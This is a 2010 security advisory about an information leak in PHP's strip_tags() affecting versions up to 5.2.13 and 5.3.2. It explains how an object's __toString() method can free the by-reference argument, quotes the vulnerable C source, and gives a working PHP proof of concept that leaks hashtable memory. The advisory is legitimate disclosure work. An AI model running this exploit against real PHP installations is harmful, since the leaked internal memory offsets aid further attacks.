MOPS-2010-041: PHP strip_tags() Interruption Information Leak Vulnerability

May 26th, 2010

PHP’s strip_tags() function can be abused for information leak attacks, because of the call time pass by reference feature.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the strip_tags() function.

PHP_FUNCTION(strip_tags)
{
    char *buf;
    char *str;
    zval **allow=NULL;
    char *allowed_tags=NULL;
    int allowed_tags_len=0;
    int str_len;
    size_t retval_len;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|Z", &str, &str_len, &allow) == FAILURE) {
        return;
    }
   
    /* To maintain a certain BC, we allow anything for the second parameter and return original string */
    if (allow != NULL) {
        convert_to_string_ex(allow);
        allowed_tags = Z_STRVAL_PP(allow);
        allowed_tags_len = Z_STRLEN_PP(allow);
    }

    buf = estrndup(str, str_len);
    retval_len = php_strip_tags_ex(buf, str_len, NULL, allowed_tags, allowed_tags_len, 0);
    RETURN_STRINGL(buf, retval_len, 0);
}

The problem here is that zend_parse_parameters() retrieves the string argument into a local variable where it looses the connection to the original ZVAL. The problem is that the string pointer will point to already freed or reused memory in case the original ZVAl is modified by an interruption. And an interruption attack is very easy in this case because convert_to_string_ex() is called on the second argument which will call the __toString() method of objects. An attacker just needs to pass an object as 2nd parameter to strip_tags(). From the __toString() method an attacker can then kill the first argument due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in php_strip_tags_ex() working on memory of a hashtable instead of a string, which lets the attacker leak important internal memory offsets. Due to the nature of the strip_tags() function all NUL bytes in the leaked memory are removed.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable without NUL bytes looks like this.

Hexdump
-------
00000000: 08 07 01 41 41 41 41 08 F0 B4 01 08 F0 B4 01 08   ...AAAA.........
00000010: F0 B4 01 18 EF B4 01 74 43 30 01 01 -- -- -- --   .......tC0..

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

<?php
/* ATTENTION STRIP_TAGS REMOVES \0 BYTES */

include "hexdump.php";

class dummy
{
    function __toString()
    {          
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "XXXXXXXXXXXXXXX";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Trigger the Code */ 
$x = strip_tags(&$GLOBALS['var'], new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.




blog comments powered by Disqus